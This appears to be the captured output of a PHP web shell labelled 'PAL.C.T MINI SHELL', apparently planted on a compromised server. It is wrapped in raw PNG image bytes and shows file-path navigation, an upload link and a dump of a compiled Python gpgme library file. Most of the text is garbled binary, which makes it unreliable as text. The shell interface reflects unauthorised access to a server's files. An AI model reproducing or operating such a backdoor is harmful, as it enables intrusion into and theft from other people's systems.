php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/gpgme/
upload
files >> //usr/lib/python2.6/site-packages/gpgme/editutil.pyo

zJc	@sdZeZdgZddkZddkZddkZdd
dYZdefdYZdefd	YZ	d
Z
deeeddZ
dS(sUtilities related to editing keys.

Currently only contains a utility function for editing the owner trust
value of a key in a keyring.
t
edit_trustiNt	_EditDatacBs>eZdZdZdZdZdZdZdZRS(s1Simple base class to wrap 'edit key' interactionsiicCs;|i|_h|_|i|itid|iddS(Nskeyedit.promptsquit
(tSTATE_STARTtstatettransitionst
addTransitiontSTATE_ERRORtgpgmetSTATUS_GET_LINE(tself((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyt__init__'s
		cCs ||f|i|||f<dS(N(R(R	Rtstatustargstnewstatetdata((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyR/scCs&ti}|i||i|dS(N(tStringIOtedittcallback(R	tctxtkeytoutput((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pytdo_edit2scCs|tititititititititi	ti
tifjodS|i||f|i
joG|i
|i||f\|_}|dj	oti||qn"t|_tititidS(N(Rt
STATUS_EOFt
STATUS_GOT_ITtSTATUS_NEED_PASSPHRASEtSTATUS_GOOD_PASSPHRASEtSTATUS_BAD_PASSPHRASEtSTATUS_USERID_HINTtSTATUS_SIGEXPIREDtSTATUS_KEYEXPIREDtSTATUS_PROGRESStSTATUS_KEY_CREATEDtSTATUS_ALREADY_SIGNEDRRtNonetostwriteRterrortERR_SOURCE_UNKNOWNtERR_GENERAL(R	RRtfdR((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyR6s$	"
	(	t__name__t
__module__t__doc__RRR
RRR(((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyR!s			t
_EditTrustcBs)eZdZdZdZdZdZRS(iiiicCsti||i|itid|id|i|itid|id||i|itid|id|i|iti	d|i
d|i|i
tid|id|i|iti	d|i
ddS(	Nskeyedit.promptstrust
sedit_ownertrust.values%d
squit
s!edit_ownertrust.set_ultimate.okaysY
skeyedit.save.okay(RR
RRRRt
STATE_COMMANDtSTATE_VALUEt
STATE_QUITtSTATUS_GET_BOOLt
STATE_CONFIRM(R	ttrust((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyR
Ws&
	
		
	
	
	(R(R)R,R-R0R.R
(((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyR+Ps
t	_EditSigncBs#eZdZdZdZdZRS(iiicCs?ti||i|itid|id||i|itid|id||i|itid|id|i|itid|id|odpd|i|itid	|id
||i|itid|id|i|itid|i	d|i|i	tid
|iddS(Nskeyedit.promptsuid %d
s%s
skeyedit.sign_all.okaysY
ssign_uid.expiretYtNssign_uid.classs%d
s
sign_uid.okaysquit
skeyedit.save.okay(
RR
RRRRt	STATE_UIDR,R/R.(R	tindextcommandtexpiretcheck((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyR
xs2
			
			
	
	(R(R)R5R,R.R
(((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyR2rscCs_|tititititifjotd|nt|}|i||dS(NsBad trust value %d(	RtVALIDITY_UNDEFINEDtVALIDITY_NEVERtVALIDITY_MARGINALt
VALIDITY_FULLtVALIDITY_ULTIMATEt
ValueErrorR+R(RRR1tstatemachine((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyRs	ic	Cs|djp|t|ijotdnd}|od|}n|od|}n|djotd	nt||||}|i||d
S(s$Sign the given key.

    index:    the index of the user ID to sign, starting at 1.  Sign all
               user IDs if set to 0.
    local:    make a local signature
    norevoke: make a non-revokable signature
    command:  the type of signature.  One of sign, lsign, tsign or nrsign.
    expire:   whether the signature should expire with the key.
    check:    Amount of checking performed.  One of:
                 0 - no answer
                 1 - no checking
                 2 - casual checking
                 3 - careful checking
    isuser ID index out of rangetsignsl%ssnr%siiischeck must be one of 0, 1, 2, 3N(iiii(tlentuidsR?R2R(	RRR6tlocaltnorevokeR8R9R7R@((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyt	edit_signs#
((R*ttypet
__metaclass__t__all__R"RRRR+R2RtFalsetTrueRF(((s2/usr/lib/python2.6/site-packages/gpgme/editutil.pyt<module>s	/"&	
	
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`